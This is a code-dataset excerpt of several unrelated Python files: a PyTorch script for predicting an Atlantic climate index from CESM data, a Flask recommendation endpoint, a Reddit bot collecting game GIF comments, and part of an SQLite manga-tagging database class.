[20,20]\n activations = [nn.Sigmoid(),nn.Sigmoid()]\n outsize = 1\n\n# Options\ndebug = False # Visualize training and testing loss\nverbose = False # Print loss for each epoch\n\n# -----------\n#%% Functions\n# -----------\ndef train_CNN(layers,loss_fn,optimizer,trainloader,testloader,max_epochs,early_stop=False,verbose=True):\n \"\"\"\n inputs:\n layers - tuple of NN layers\n loss_fn - (torch.nn) loss function\n opt - tuple of [optimizer_name, learning_rate, weight_decay] for updating the weights\n currently supports \"Adadelta\" and \"SGD\" optimizers\n trainloader - (torch.utils.data.DataLoader) for training datasetmo\n testloader - (torch.utils.data.DataLoader) for testing dataset\n max_epochs - number of training epochs\n early_stop - BOOL or INT, Stop training after N epochs of increasing validation error\n (set to False to stop at max epoch, or INT for number of epochs)\n verbose - set to True to display training messages\n \n output:\n \n dependencies:\n from torch import nn,optim\n \n \"\"\"\n model = nn.Sequential(*layers) # Set up model\n bestloss = np.infty\n \n # Set optimizer\n if optimizer[0] == \"Adadelta\":\n opt = optim.Adadelta(model.parameters(),lr=optimizer[1],weight_decay=optimizer[2])\n elif optimizer[0] == \"SGD\":\n opt = optim.SGD(model.parameters(),lr=optimizer[1],weight_decay=optimizer[2])\n elif optimizer[0] == 'Adam':\n opt = optim.Adam(model.parameters(),lr=optimizer[1],weight_decay=optimizer[2])\n \n # Set early stopping threshold and counter\n if early_stop is False:\n i_thres = max_epochs\n else:\n i_thres = early_stop\n i_incr = 0 # Number of epochs for which the validation loss increases\n prev_loss = 0 # Variable to store previous loss\n \n # Main Loop\n train_loss,test_loss = [],[] # Preallocate tuples to store loss\n for epoch in tqdm(range(max_epochs)): # loop by epoch\n #for epoch in range(max_epochs):\n for mode,data_loader in [('train',trainloader),('eval',testloader)]: # train/test for each epoch\n \n if mode == 'train': # Training, update weights\n model.train()\n elif mode == 'eval': # Testing, freeze weights\n model.eval()\n \n runningloss = 0\n for i,data in enumerate(data_loader):\n \n # Get mini batch\n batch_x, batch_y = data\n \n # Set gradients to zero\n opt.zero_grad()\n \n # Forward pass\n pred_y = model(batch_x)\n \n # Calculate losslay\n loss = loss_fn(pred_y,batch_y.squeeze())\n \n # Update weights\n if mode == 'train':\n loss.backward() # Backward pass to calculate gradients w.r.t. loss\n opt.step() # Update weights using optimizer\n \n runningloss += loss.item()\n\n if verbose: # Print progress message\n print('{} Set: Epoch {:02d}. loss: {:3f}'.format(mode, epoch+1, \\\n runningloss/len(data_loader)))\n \n # Save model if this is the best loss\n if (runningloss/len(data_loader) < bestloss) and (mode == 'eval'):\n bestloss = runningloss/len(data_loader)\n bestmodel = copy.deepcopy(model)\n if verbose:\n print(\"Best Loss of %f at epoch %i\"% (bestloss,epoch+1))\n \n # Save running loss values for the epoch\n if mode == 'train':\n train_loss.append(runningloss/len(data_loader))\n else:\n test_loss.append(runningloss/len(data_loader))\n \n # Evaluate if early stopping is needed\n if epoch == 0: # Save previous loss\n lossprev = runningloss/len(data_loader)\n else: # Add to counter if validation loss increases\n if runningloss/len(data_loader) > lossprev:\n if verbose:\n print(\"Validation loss has increased at epoch %i\"%(epoch+1))\n i_incr += 1\n lossprev = runningloss/len(data_loader)\n \n if (epoch != 0) and (i_incr >= i_thres):\n print(\"\\tEarly stop at epoch %i \"% (epoch+1))\n return bestmodel,train_loss,test_loss \n \n \n return bestmodel,train_loss,test_loss \n\ndef calc_layerdim(nlat,nlon,filtersize,poolsize,nchannels):\n \"\"\"\n For a 1 layer convolution, calculate the size of the next layer after flattening\n \n inputs:\n nlat: latitude dimensions of input\n nlon: longitude dimensions of input\n filtersize: size of the filter in layer 1\n poolsize: size of the maxpooling kernel\n nchannels: number of out_channels in layer 1\n output:\n flattensize: flattened dimensions of layer for input into FC layer\n \n \"\"\"\n return int(np.floor((nlat-filtersize+1)/poolsize) * np.floor((nlon-filtersize+1)/poolsize) * nchannels)\n\ndef calc_layerdims(nx,ny,filtersizes,filterstrides,poolsizes,poolstrides,nchannels):\n \"\"\"\n For a series of N convolutional layers, calculate the size of the first fully-connected \n layer\n \n Inputs:\n nx: x dimensions of input\n ny: y dimensions of input\n filtersize: [ARRAY,length N] sizes of the filter in each layer [(x1,y1),[x2,y2]]\n poolsize: [ARRAY,length N] sizes of the maxpooling kernel in each layer\n nchannels: [ARRAY,] number of out_channels in each layer\n output:\n flattensize: flattened dimensions of layer for input into FC layer\n \n \"\"\"\n \n # # ## Debug entry\n # # 2 layer CNN settings \n # nchannels = [32,64]\n # filtersizes = [[2,3],[3,3]]\n # filterstrides = [[1,1],[1,1]]\n # poolsizes = [[2,3],[2,3]]\n # poolstrides = [[2,3],[2,3]]\n # nx = 33\n # ny = 41\n # # # ----\n \n \n N = len(filtersizes)\n xsizes = [nx]\n ysizes = [ny]\n fcsizes = []\n \n for i in range(N):\n \n xsizes.append(np.floor((xsizes[i]-filtersizes[i][0])/filterstrides[i][0])+1)\n ysizes.append(np.floor((ysizes[i]-filtersizes[i][1])/filterstrides[i][1])+1)\n \n \n xsizes[i+1] = np.floor((xsizes[i+1] - poolsizes[i][0])/poolstrides[i][0]+1)\n ysizes[i+1] = np.floor((ysizes[i+1] - poolsizes[i][1])/poolstrides[i][1]+1)\n \n fcsizes.append(np.floor(xsizes[i+1]*ysizes[i+1]*nchannels[i]))\n \n return int(fcsizes[-1])\n\ndef calc_AMV_index(region,invar,lat,lon):\n \"\"\"\n Select bounding box for a given AMV region for an input variable\n \"SPG\" - Subpolar Gyre\n \"STG\" - Subtropical Gyre\n \"TRO\" - Tropics\n \"NAT\" - North Atlantic\n \n Parameters\n ----------\n region : STR\n One of following the 3-letter combinations indicating selected region\n (\"SPG\",\"STG\",\"TRO\",\"NAT\")\n \n var : ARRAY [Ensemble x time x lat x lon]\n Input Array to select from\n lat : ARRAY\n Latitude values\n lon : ARRAY\n Longitude values \n\n Returns\n -------\n amv_index [ensemble x time]\n AMV Index for a given region/variable\n\n \"\"\"\n \n # Select AMV Index region\n bbox_SP = [-60,-15,40,65]\n bbox_ST = [-80,-10,20,40]\n bbox_TR = [-75,-15,0,20]\n bbox_NA = [-80,0 ,0,65]\n regions = (\"SPG\",\"STG\",\"TRO\",\"NAT\") # Region Names\n bboxes = (bbox_SP,bbox_ST,bbox_TR,bbox_NA) # Bounding Boxes\n \n # Get bounding box\n bbox = bboxes[regions.index(region)]\n \n # Select Region\n selvar = invar.copy()\n klon = np.where((lon>=bbox[0]) & (lon<=bbox[1]))[0]\n klat = np.where((lat>=bbox[2]) & (lat<=bbox[3]))[0]\n selvar = selvar[:,:,klat[:,None],klon[None,:]]\n \n # Take mean ove region\n amv_index = np.nanmean(selvar,(2,3))\n \n return amv_index\n\ndef load_seq_model(layers,modpath):\n \"\"\"\n Load a statedict into a model with the same architecture\n as specified in the layers tuple.\n \n Parameters\n ----------\n layers : TUPLE\n NN Layers for input into nn.Sequential()\n modpath : STR\n Path to saved state_dict()\n\n Returns\n -------\n model : Network (Pytorch)\n Loaded network with saved statedict.\n\n \"\"\"\n model = nn.Sequential(**layers)\n model.load_state_dict(torch.load(modpath))\n return model\n\ndef build_FNN_simple(inputsize,outsize,nlayers,nunits,activations,dropout=0.5):\n \"\"\"\n Build a Feed-foward neural network with N layers, each with corresponding\n number of units indicated in nunits and activations. \n \n A dropbout layer is included at the end\n \n inputs:\n inputsize: INT - size of the input layer\n outputsize: INT - size of output layer\n nlayers: INT - number of hidden layers to include \n nunits: Tuple of units in each layer\n activations: Tuple of pytorch.nn activations\n --optional--\n dropout: percentage of units to dropout before last layer\n \n outputs:\n Tuple containing FNN layers\n \n dependencies:\n from pytorch import nn\n \n \"\"\"\n layers = []\n for n in range(nlayers+1):\n #print(n)\n if n == 0:\n #print(\"First Layer\")\n layers.append(nn.Linear(inputsize,nunits[n]))\n layers.append(activations[n])\n \n elif n == (nlayers):\n #print(\"Last Layer\")\n layers.append(nn.Dropout(p=dropout))\n layers.append(nn.Linear(nunits[n-1],outsize))\n \n else:\n #print(\"Intermediate\")\n layers.append(nn.Linear(nunits[n-1],nunits[n]))\n layers.append(activations[n])\n return layers\n\n# ----------------------------------------\n# %% Set-up\n# ----------------------------------------\nallstart = time.time()\n\n# Set experiment names ----\nnvar = 4 # Combinations of variables to test\nnlead = len(leads)\n\n# Save data (ex: Ann2deg_NAT_CNN2_nepoch5_nens_40_lead24 )\nexpname = \"%s%s_%s_%s_nepoch%02i_nens%02i_lead%02i\" % (season,resolution,indexregion,netname,max_epochs,ens,len(leads)-1)\n\n# Load the data for whole North Atlantic\nsst_normed = np.load('../../CESM_data/CESM_sst_normalized_lat_weighted_%s_NAT_%s.npy' % (resolution,season)).astype(np.float32)\nsss_normed = np.load('../../CESM_data/CESM_sss_normalized_lat_weighted_%s_NAT_%s.npy' % (resolution,season)).astype(np.float32)\npsl_normed = np.load('../../CESM_data/CESM_psl_normalized_lat_weighted_%s_NAT_%s.npy' % (resolution,season)).astype(np.float32)\n\n# Load lat/lon\nlon = np.load(\"../../CESM_data/lon_%s_NAT.npy\"%(resolution))\nlat = np.load(\"../../CESM_data/lat_%s_NAT.npy\"%(resolution))\nnens,tstep,nlat,nlon = sst_normed.shape\n\n# Preallocate Evaluation Metrics...\ncorr_grid_train = np.zeros((nlead))\ncorr_grid_test = np.zeros((nlead))\npercent_grid_train = np.zeros((nlead))\npercent_grid_test = np.zeros((nlead))\ntrain_loss_grid = np.zeros((max_epochs,nlead))\ntest_loss_grid = np.zeros((max_epochs,nlead))\n\n# Print Message\nprint(\"Running CNN_test_lead_ann.py with the following settings:\")\nprint(\"\\tNetwork Type : \"+netname)\nprint(\"\\tPred. Region : \"+indexregion)\nprint(\"\\tPred. Season : \"+season)\nprint(\"\\tLeadtimes : %i to %i\" % (leads[0],leads[-1]))\nprint(\"\\tMax Epochs : \" + str(max_epochs))\nprint(\"\\tEarly Stop : \" + str(early_stop))\nprint(\"\\t# Ens. Members : \"+ str(ens))\nprint(\"\\tOptimizer : \"+ opt[0])\n# ----------------------------------------------\n# %% Train for each variable combination and lead time\n# ----------------------------------------------\n\n\nfor v in range(nvar): # Loop for each variable\n # -------------------\n # Set input variables\n # -------------------\n channels = 1\n start = time.time()\n if v == 0:\n varname = 'SST'\n invars = [sst_normed]\n elif v == 1:\n varname = 'SSS'\n invars = [sss_normed]\n elif v == 2:\n varname = 'PSL'\n invars = [psl_normed]\n elif v == 3:\n channels = 3\n varname = 'ALL'\n invars = [sst_normed,sss_normed,psl_normed]\n \n # Set output path\n outname = \"/leadtime_testing_%s_%s.npz\" % (varname,expname)\n \n for l,lead in enumerate(leads):\n \n # ----------------------\n # Apply lead/lag to data\n # ----------------------\n y = calc_AMV_index(indexregion,sst_normed[:ens,lead:,:,:],lat,lon)\n y = y.reshape((y.shape[0]*y.shape[1]))[:,None]\n X = np.transpose(\n np.array(invars)[:,:ens,0:tstep-lead,:,:].reshape(channels,(tstep-lead)*ens,nlat,nlon),\n (1,0,2,3))\n y = np.where(y<=0, 0, y)\n y = np.where(y>0, 1, y)\n\n # ---------------------------------\n # Split into training and test sets\n # ---------------------------------\n if netname == 'FNN2': # Flatten inputs for FNN 2\n ndat,nchan,nlat,nlon = X.shape # Get latitude and longitude sizes for dimension calculation\n inputsize = nchan*nlat*nlon\n X = X.reshape(ndat,inputsize)\n \n X_train = torch.from_numpy( X[0:int(np.floor(percent_train*(tstep-lead)*ens)),:] )\n X_val = torch.from_numpy( X[int(np.floor(percent_train*(tstep-lead)*ens)):,:] )\n else:\n X_train = torch.from_numpy( X[0:int(np.floor(percent_train*(tstep-lead)*ens)),:,:,:] )\n X_val = torch.from_numpy( X[int(np.floor(percent_train*(tstep-lead)*ens)):,:,:,:] )\n\n y_train = torch.from_numpy( y[0:int(np.floor(percent_train*(tstep-lead)*ens)),:] )\n y_val = torch.from_numpy( y[int(np.floor(percent_train*(tstep-lead)*ens)):,:] )\n \n # Put into pytorch DataLoader\n train_loader = DataLoader(TensorDataset(X_train, y_train), batch_size=batch_size)\n val_loader = DataLoader(TensorDataset(X_val, y_val), batch_size=batch_size)\n \n \n \n \n # -------------------------------\n # Initialize Network Architecture\n # -------------------------------\n \n \n if netname == 'CNN1': # 1-layer CNN\n # Calculate dimensions of first FC layer (for CNNs)\n firstlineardim = calc_layerdims(nlat,nlon,filtersizes,filterstrides,poolsizes,poolstrides,nchannels)\n layers = [\n nn.Conv2d(in_channels=channels, out_channels=nchannels[0], kernel_size=filtersizes[0]),\n nn.ReLU(),\n nn.MaxPool2d(kernel_size=poolsizes[0]),\n \n nn.Flatten(),\n nn.Linear(in_features=firstlineardim,out_features=128),\n nn.ReLU(),\n nn.Linear(in_features=128,out_features=64),\n nn.ReLU(),\n \n #nn.Dropout(p=0.5),\n nn.Linear(in_features=64,out_features=1)\n ]\n elif netname == 'CNN2': # 2-layer CNN\n # Calculate dimensions of first FC layer (for CNNs)\n firstlineardim = calc_layerdims(nlat,nlon,filtersizes,filterstrides,poolsizes,poolstrides,nchannels)\n layers = [\n nn.Conv2d(in_channels=channels, out_channels=nchannels[0], kernel_size=filtersizes[0]),\n nn.ReLU(),\n nn.MaxPool2d(kernel_size=poolsizes[0]),\n \n nn.Conv2d(in_channels=nchannels[0], out_channels=nchannels[1], kernel_size=filtersizes[1]),\n nn.ReLU(),\n nn.MaxPool2d(kernel_size=poolsizes[1]), \n \n nn.Flatten(),\n nn.Linear(in_features=firstlineardim,out_features=64),\n nn.ReLU(),\n \n #nn.Dropout(p=0.5),\n nn.Linear(in_features=64,out_features=1)\n ]\n elif netname == 'RN18':\n \n resnet18 = models.resnet18(pretrained=True)\n layers = [nn.Conv2d(in_channels=channels, out_channels=3, kernel_size=(1,1),padding=inpadding),\n resnet18,\n nn.Linear(in_features=1000,out_features=1)]\n elif netname == 'RN50':\n \n resnet50 = models.resnet50(pretrained=True)\n layers = [nn.Conv2d(in_channels=channels, out_channels=3, kernel_size=(1,1),padding=inpadding),\n resnet50,\n nn.Linear(in_features=1000,out_features=1)]\n elif netname == \"FNN2\":\n # Set up FNN\n layers = build_FNN_simple(inputsize,outsize,nlayers,nunits,activations,dropout=0)\n \n # ---------------\n # Train the model\n # ---------------\n model,trainloss,testloss = train_CNN(layers,loss_fn,opt,train_loader,val_loader,max_epochs,early_stop=early_stop,verbose=verbose)\n \n # Save train/test loss\n train_loss_grid[:,l] = np.array(trainloss).min().squeeze() # Take min of each epoch\n test_loss_grid[:,l] = np.array(testloss).min().squeeze()\n \n # -----------------\n # Evalute the model\n # -----------------\n model.eval()\n y_pred_val = model(X_val).detach().numpy()\n y_valdt = y_val.detach().numpy()\n y_pred_train = model(X_train).detach().numpy()\n y_traindt = y_train.detach().numpy()\n\n # Get the correlation (save these)\n traincorr = np.corrcoef( y_pred_train.T[0,:], y_traindt.T[0,:])[0,1]\n testcorr = np.corrcoef( y_pred_val.T[0,:], y_valdt.T[0,:])[0,1]\n \n # Stop if model is just predicting the same value (usually need to examine optimizer settings)\n if np.isnan(traincorr) | np.isnan(testcorr):\n print(\"Warning, NaN Detected for %s lead %i of %i. Stopping!\" % (varname,lead,len(leads)))\n if debug:\n fig,ax=plt.subplots(1,1)\n plt.style.use('seaborn')\n ax.plot(trainloss,label='train loss')\n ax.plot(testloss,label='test loss')\n ax.legend()\n ax.set_title(\"Losses for Predictor %s Leadtime %i\"%(varname,lead))\n plt.show()\n \n fig,ax=plt.subplots(1,1)\n plt.style.use('seaborn')\n #ax.plot(y_pred_train,label='train corr')\n ax.plot(y_pred_val,label='test corr')\n ax.plot(y_valdt,label='truth')\n ax.legend()\n ax.set_title(\"Correlation for Predictor %s Leadtime %i\"%(varname,lead))\n plt.show()\n break\n \n # Calculate Correlation and RMSE\n corr_grid_test[l] = np.corrcoef( y_pred_val.T[0,:], y_valdt.T[0,:])[0,1]\n corr_grid_train[l] = np.corrcoef( y_pred_train.T[0,:], y_traindt.T[0,:])[0,1]\n percent_grid_test[l] = np.sum((y_pred_val.T[0,:]-0.5)*(y_valdt.T[0,:]-0.5)>=0)/len(y_pred_val.T[0,:])\n percent_grid_train[l] = np.sum((y_pred_train.T[0,:]-0.5)*(y_traindt.T[0,:]-0.5)>=0)/len(y_pred_train.T[0,:])\n \n # Visualize loss vs epoch for training/testing and correlation\n if debug:\n fig,ax=plt.subplots(1,1)\n plt.style.use('seaborn')\n ax.plot(trainloss,label='train loss')\n ax.plot(testloss,label='test loss')\n ax.legend()\n ax.set_title(\"Losses for Predictor %s Leadtime %i\"%(varname,lead))\n plt.show()\n \n \n fig,ax=plt.subplots(1,1)\n plt.style.use('seaborn')\n #ax.plot(y_pred_train,label='train corr')\n ax.plot(y_pred_val,label='test corr')\n ax.plot(y_valdt,label='truth')\n ax.legend()\n ax.set_title(\"Correlation for Predictor %s Leadtime %i\"%(varname,lead))\n plt.show()\n \n # --------------\n # Save the model\n # --------------\n modout = \"%s/../../CESM_Data/Models/%s_%s_lead%i.pt\" %(outpath,expname,varname,lead)\n torch.save(model.state_dict(),modout)\n \n print(\"\\nCompleted training for %s lead %i of %i\" % (varname,lead,len(leads)))\n \n # -----------------\n # Save Eval Metrics\n # -----------------\n np.savez(outpath+\"/../../CESM_Data/Metrics\"+outname,**{\n 'train_loss': train_loss_grid,\n 'test_loss': test_loss_grid,\n 'test_corr': corr_grid_test,\n 'train_corr': corr_grid_train,\n 'train_percent': percent_grid_train,\n 'test_percent':percent_grid_test}\n )\n print(\"Saved data to %s%s. Finished variable %s in %ss\"%(outpath,outname,varname,time.time()-start))\n\n\nprint(\"Leadtesting ran to completion in %.2fs\" % (time.time()-allstart))\n#%%\n\n\n\n# # -------------\n# # %% Make Plots\n# # -------------\n\n\n# import matplotlib.pyplot as plt\n\n# # Plot the Correlation grid\n# data = corr_grid_test.copy()**2\n# gsize = data.shape[0]\n# cmap = plt.get_cmap(\"pink\",20)\n# cmap.set_bad(np.array([0,255,0])/255)\n# fig,ax = plt.subplots(1,1,figsize=(8,8))\n# im = ax.imshow(data,vmin=0,vmax=1,cmap=cmap)\n# ax.set_title(\"Correlation $(R^{2})$\"+\"(CESM - CNN Output); Predictor = %s \\n %s vs %s\"% (varname,pr1name,pr2name))\n# ax.set_xticks(np.arange(0,gsize))\n# ax.set_yticks(np.arange(0,gsize))\n# ax.set_xticklabels(param1)\n# ax.set_yticklabels(param2)\n# ax.set_xlabel(pr1name)\n# ax.set_ylabel(pr2name)\n# plt.gca().invert_yaxis()\n# plt.colorbar(im,ax=ax,fraction=0.046, pad=0.04)\n# # Loop over data dimensions and create text annotations.\n# for i in range(np1):\n# for j in range(np2):\n# # Set color to black if above threshold, white otherwise\n# if data[i,j] > 0.6:\n# usecolor='k'\n# else:\n# usecolor='w'\n \n# if data[i,j] == np.nanmax(data): # Max in Red\n# usecolor='r'\n# elif data[i,j] == np.nanmin(data): # Min in Blue\n# usecolor= np.array([0,202,231])/255\n \n# text = ax.text(j, i, \"%.1e\"%data[i, j],\n# ha=\"center\", va=\"center\", color=usecolor)\n \n# #text.set_path_effects([path_effects.Stroke(linewidth=0.25,foreground='k')])\n# plt.savefig(\"%sCorr_%s.png\"% (outpath,expname),dpi=200)\n# plt.show()\n\n\n# # Plot the RMSE grid\n# data = test_loss_grid\n# gsize = data.shape[0]\n# cmap = plt.get_cmap(\"pink\",20)\n# cmap.set_bad(np.array([0,255,0])/255)\n# fig,ax = plt.subplots(1,1,figsize=(8,8))\n# im = ax.imshow(data,vmin=0,vmax=1,cmap=cmap)\n# ax.set_title(\"MSE (CESM - CNN Output); Predictor %s \\n %s vs %s\"% (varname,pr1name,pr2name))\n# ax.set_xticks(np.arange(0,gsize))n\n# ax.set_yticks(np.arange(0,gsize))\n# ax.set_xticklabels(param1)\n# ax.set_yticklabels(param2)\n# ax.set_xlabel(pr1name)\n# ax.set_ylabel(pr2name)\n# plt.gca().invert_yaxis()\n# plt.colorbar(im,ax=ax,fraction=0.046, pad=0.04)\n# # Loop over data dimensions and create text annotations.\n# for i in range(np1):\n# for j in range(np2):\n# # Set color to black if above threshold, white otherwise\n# if data[i,j] > 0.6:\n# usecolor='k'\n# else:\n# usecolor='w'\n \n# if data[i,j] == np.nanmax(data): # Max in Red\n# usecolor='r'\n# elif data[i,j] == np.nanmin(data): # Min in Blue\n# usecolor= np.array([0,202,231])/255\n \n# text = ax.text(j, i, \"%.1e\"%data[i, j],\n# ha=\"center\", va=\"center\", color=usecolor)\n \n# #text.set_path_effects([path_effects.Stroke(linewidth=0.25,foreground='k')])\n# plt.savefig(\"%sMSE_%s.png\"%(outpath,expname),dpi=200)\n# plt.show()\n\n\n\n","sub_path":"Scrap/CNN/CNN_test_lead_ann_categorize.py","file_name":"CNN_test_lead_ann_categorize.py","file_ext":"py","file_size_in_byte":26883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"634162865","text":"from collections import Counter\n\nfrom db_connect import db\nfrom flask import jsonify\nfrom flaskr.service.recommend_service import Recommendation\n\n\nclass Result:\n def get_result_recom(user_code):\n recom = Recommendation()\n user_data, _ = recom.get_user_data(user_code)\n # 비슷한 상위 200개의 컨텐츠\n result_data = recom.get_result(user_data[\"contents\"])\n # 장르\n result_diagram = recom.get_diagram(result_data)\n top_genre = recom.get_top_genre(result_data)\n # ott추천정도\n top_platform = recom.get_ott_recommendation(result_data)\n top3_platform = sorted(top_platform.items(), key=lambda x: x[1], reverse=True)[\n :3\n ]\n\n total_top3_platform_sum = sum(i[1] for i in top3_platform)\n result_platform = dict()\n for ott, _ in top3_platform:\n result_platform[ott] = recom.get_price_info(ott, user_code)\n result_platform[ott][\"percentage\"] = int(\n (top_platform[ott] / total_top3_platform_sum) * 100\n )\n\n # 장르 추천 정도\n total_genre_sum = sum(top_genre.values())\n for key, val in top_genre.items():\n top_genre[key] = int((val / total_genre_sum) * 100)\n\n # ott추천 정렬\n return (\n jsonify(\n category=top_genre,\n platform=dict(\n sorted(\n result_platform.items(),\n key=lambda x: x[1][\"percentage\"],\n reverse=True,\n )\n ),\n diagram=result_diagram,\n ),\n 200,\n )\n\n def get_wordcloud(user_code):\n recom = Recommendation()\n user_data, _ = recom.get_user_data(user_code)\n result_data = recom.get_result(user_data[\"contents\"])\n tokens = recom.for_wordcloud(result_data)\n token_cnt = Counter(tokens.split())\n for word in [\"그\", \"것\", \"이\"]:\n try:\n token_cnt.pop(word)\n except:\n pass\n\n return jsonify(words=token_cnt.most_common(300)), 200\n","sub_path":"server/flaskr/service/result_service.py","file_name":"result_service.py","file_ext":"py","file_size_in_byte":2166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"587405736","text":"import GameUpdates\nimport Printing\nimport RedditSub\nimport DbHandler\n\nimport praw\nimport OAuth2Util\n\n\ndef timekey(x):\n if type(x) == praw.objects.Comment:\n missing = (x.created_utc is None)\n if missing:\n return float(0)\n else:\n return x.created_utc\n else:\n return float(0)\n\ndef GetGameGifComment():\n\n\n\n\n r = praw.Reddit(user_agent=\"WingsHockeyMod (by /u/schmaleo505)\")\n o = OAuth2Util.OAuth2Util(r)\n o.refresh(force=True)\n\n s = r.get_submission(DbHandler.DbObject().GetItem((\"gamegifid\")))\n return s.comments[0]\n\n # for c in r.get_redditor(user_name=\"OctoMod\").get_comments():\n # if \"Below is a list of user-submitted clips/gifs\" in c.body:\n # return c\n #\n # return None\n\n\ndef ScrapeComments():\n main_comment = GetGameGifComment()\n\n Printing.LogWrite(\"scraping for !GameGif\")\n r = praw.Reddit(\"WingsHockeyMod (by /u/schmaleo505)\")\n o = OAuth2Util.OAuth2Util(r)\n o.refresh(force=True)\n\n submission = r.get_submission(DbHandler.DbObject().GetItem(\"submissionid\"))\n foundComments = []\n flat_comments = sorted(praw.helpers.flatten_tree(submission.comments), key=lambda c: timekey(c), reverse=True)\n\n for comment in flat_comments:\n try:\n if \"!gamegif\" in comment.body.lower() and \"Below is a list of user-submitted clips/gifs\" not in comment.body and \"http\" in comment.body:\n foundComments.append(comment)\n Printing.LogWrite(\"found a GameGif comment\")\n except:\n a=0\n\n # Update the main comment\n totalBody = main_comment.body\n for entry in foundComments:\n text = entry.body.replace(\"!GameGif\", \"\").strip()\n text = text.replace(\"!gamegif\", \"\").strip()\n text = text.replace(\"\\n\", \" \")\n if text not in totalBody:\n totalBody += entry.author.name + \" | \" + text + \"\\n\"\n\n main_comment.edit(totalBody)\n\n #totalBody\n currentBodyArr = submission.selftext.split(\"-----\")\n submission.edit(currentBodyArr[0] + \"-----\" +\n currentBodyArr[1] + \"-----\\n\\n\" +\n currentBodyArr[2] + \"\\n\\n-----\\n\\n\" +\n currentBodyArr[3] + \"\\n\\n-----\\n\\n\" +\n totalBody)\n\n","sub_path":"GameGifs.py","file_name":"GameGifs.py","file_ext":"py","file_size_in_byte":2249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"334200010","text":"import json\nimport logging\nimport shutil\nimport sqlite3\nimport sys\nimport threading\nfrom datetime import datetime\nfrom pathlib import Path\nfrom queue import Queue\nfrom sqlite3 import Error\n\n# Define the lock globally\nlock = threading.Lock()\n\n\nclass Database:\n database_name = None\n\n sql_create_manga_table = \"\"\"CREATE TABLE IF NOT EXISTS manga (\n manga_id integer PRIMARY KEY,\n mal_id integer,\n series_title text,\n series_title_eng text,\n series_title_jap text,\n status text,\n type text,\n description text,\n mal_url text,\n anilist_url text,\n genres text,\n staff text,\n serializations text,\n scrape_date text,\n publish_date text \n );\"\"\"\n\n sql_create_files_table = \"\"\"CREATE TABLE IF NOT EXISTS files (\n file_id integer PRIMARY KEY,\n chapter_number text,\n new_filename text,\n old_filename text,\n series_title text,\n processed_date text,\n tagged_date text,\n manga_id integer,\n FOREIGN KEY (manga_id) REFERENCES manga (manga_id)\n );\"\"\"\n\n sql_create_task_queue_table = \"\"\"CREATE TABLE IF NOT EXISTS task_queue (\n task_id integer PRIMARY KEY,\n event_type text,\n manga_chapter text,\n src_path text\n );\"\"\"\n\n _client = None\n _database = None\n _table = None\n _log = None\n\n def dict_factory(cursor, row):\n d = {}\n for idx, col in enumerate(cursor.description):\n d[col[0]] = row[idx]\n return d\n\n @classmethod\n def get_sqlite3_thread_safety(cls):\n\n # Map value from SQLite's THREADSAFE to Python's DBAPI 2.0\n # threadsafety attribute.\n sqlite_threadsafe2python_dbapi = {0: 0, 2: 1, 1: 3}\n conn = sqlite3.connect(cls.database_name)\n threadsafety = conn.execute(\n \"\"\"\n select * from pragma_compile_options\n where compile_options like 'THREADSAFE=%'\n \"\"\"\n ).fetchone()[0]\n conn.close()\n\n threadsafety_value = int(threadsafety.split(\"=\")[1])\n\n return sqlite_threadsafe2python_dbapi[threadsafety_value]\n\n @classmethod\n def initialize(cls):\n cls._log = logging.getLogger(f'{cls.__module__}.{cls.__name__}')\n\n try:\n cls._log.info('Establishing database connection...')\n\n if cls.get_sqlite3_thread_safety() == 3:\n check_same_thread = False\n else:\n check_same_thread = True\n\n cls._client = sqlite3.connect(cls.database_name, check_same_thread=check_same_thread)\n cls._client.row_factory = cls.dict_factory\n cls._database = cls._client.cursor()\n try:\n lock.acquire(True)\n cls._database.execute(cls.sql_create_manga_table)\n finally:\n lock.release()\n\n try:\n lock.acquire(True)\n cls._database.execute(cls.sql_create_files_table)\n finally:\n lock.release()\n\n try:\n lock.acquire(True)\n cls._database.execute(cls.sql_create_task_queue_table)\n finally:\n lock.release()\n\n except Error as e:\n cls._log.exception(e)\n cls._log.critical('Manga Tagger cannot run without a database connection. Please check the'\n 'configuration in settings.json and try again.')\n sys.exit(1)\n # finally:\n # if cls._client:\n # cls._client.close()\n\n # cls._database = cls._client[cls.database_name]\n\n MangaTable.initialize()\n FilesTable.initialize()\n TaskQueueTable.initialize()\n\n cls._log.info('Database connection established!')\n cls._log.debug(f'{cls.__name__} class has been initialized')\n\n @classmethod\n def print_debug_settings(cls):\n cls._log.debug(f'Database Name: {Database.database_name}')\n\n @classmethod\n def delete_all(cls, table, logging_info):\n try:\n cls._log.info(f'Attempting to delete all records in table {table}...')\n try:\n lock.acquire(True)\n cls._database.execute(f'DELETE FROM {table}')\n finally:\n lock.release()\n except Exception as e:\n cls._log.exception(e)\n cls._log.warning('Manga Tagger is unfamiliar with this error. Please log an issue for investigation.')\n return\n\n cls._log.info('Deletion was successful!')\n\n @classmethod\n def close_connection(cls):\n cls._client.close()\n\n\nclass MangaTable(Database):\n @classmethod\n def initialize(cls):\n cls._log = logging.getLogger(f'{cls.__module__}.{cls.__name__}')\n cls._table = 'manga'\n cls._log.debug(f'{cls.__name__} class has been initialized')\n\n @classmethod\n def search(cls, manga_title):\n cls._log.debug(f'Searching manage for \"{manga_title}\"')\n try:\n lock.acquire(True)\n results = cls._database.execute(\n 'SELECT * FROM manga WHERE series_title_eng = ? OR series_title = ?',\n (manga_title, manga_title,))\n result = results.fetchone()\n finally:\n lock.release()\n return result\n\n @classmethod\n def insert(cls, data, logging_info=None):\n params = (\n data.mal_id,\n data.series_title,\n data.series_title_eng,\n data.series_title_jap,\n data.status,\n data.type,\n data.description,\n data.mal_url,\n data.anilist_url,\n json.dumps(data.genres),\n json.dumps(data.staff),\n json.dumps(data.serializations),\n data.publish_date,\n data.scrape_date\n )\n\n cls._log.info('Inserting record into the database...')\n try:\n lock.acquire(True)\n cls._database.execute(\n 'INSERT INTO manga (mal_id, series_title, series_title_eng, series_title_jap, status, type, '\n \"description, mal_url, anilist_url, genres, staff, serializations, publish_date, scrape_date) VALUES \"\n \"(?, ?, ?, strftime('%Y-%m-%d', ?), ?, strftime('%Y-%m-%d %H:%M:%S[+-]HH:MM', ?), ?, ?, ?, ?, ?, ?, ?,\"\n \" ?)\", params)\n cls._client.commit()\n\n manga_id = cls._database.lastrowid\n 